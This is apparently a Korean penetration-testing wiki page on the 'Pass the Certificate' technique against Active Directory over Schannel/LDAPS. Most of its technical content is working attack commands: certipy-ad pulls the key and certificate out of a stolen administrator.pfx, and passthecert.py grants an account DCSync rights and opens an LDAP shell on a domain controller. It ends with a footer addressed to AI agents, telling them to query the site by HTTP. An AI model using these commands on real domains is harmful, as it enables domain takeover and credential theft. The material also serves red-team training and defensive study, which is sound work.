# Pass the Certificate

PKINIT이 지원되지 않는 도메인 환경에서는 클라이언트의 인증서를 탈취하더라도 커버로스 인증이 불가능하기 때문에 해당 사용자를 사칭하는 행위가 어렵습니다. 반면 Schannel 통신은 3-way-handshake 과정에서 인증서를 통해 사용자 인증이 이뤄지며, LDAPs와 같은 프로토콜은 해당 통신을 지원합니다.

탈취한 인증서의 주체가 높은 권한이 있는 경우 특정 객체에게 DCSync 권한을 부여하거나, ldap 쉘을 획득하는 것이 가능합니다.

## Abuse

{% embed url="<https://github.com/AlmondOffSec/PassTheCert.git>" %}

<pre class="language-bash"><code class="lang-bash"><strong># 인증서로부터 공개 키 / 비밀 키 덤프
</strong>certipy-ad cert -pfx administrator.pfx -nokey -out administrator.crt
certipy-ad cert -pfx administrator.pfx -nocert -out administrator.key

<strong># Mick3y 계정에 DCSync 권한 부여
</strong>python3 passthecert.py -action modify_user -crt administrator.crt -key administrator.key -domain contoso.com -dc-ip 192.168.1.11 -target Mick3y -elevate

<strong># ldap-shell 획득
</strong>python3 passthecert.py -action ldap-shell -crt administrator.crt -key administrator.key -domain contoso.com -dc-ip 192.168.1.11
</code></pre>

## References

{% embed url="<https://www.thehacker.recipes/ad/movement/schannel/passthecert>" %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://www.pentestwiki.com/impersonation/pass-the-certificate.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
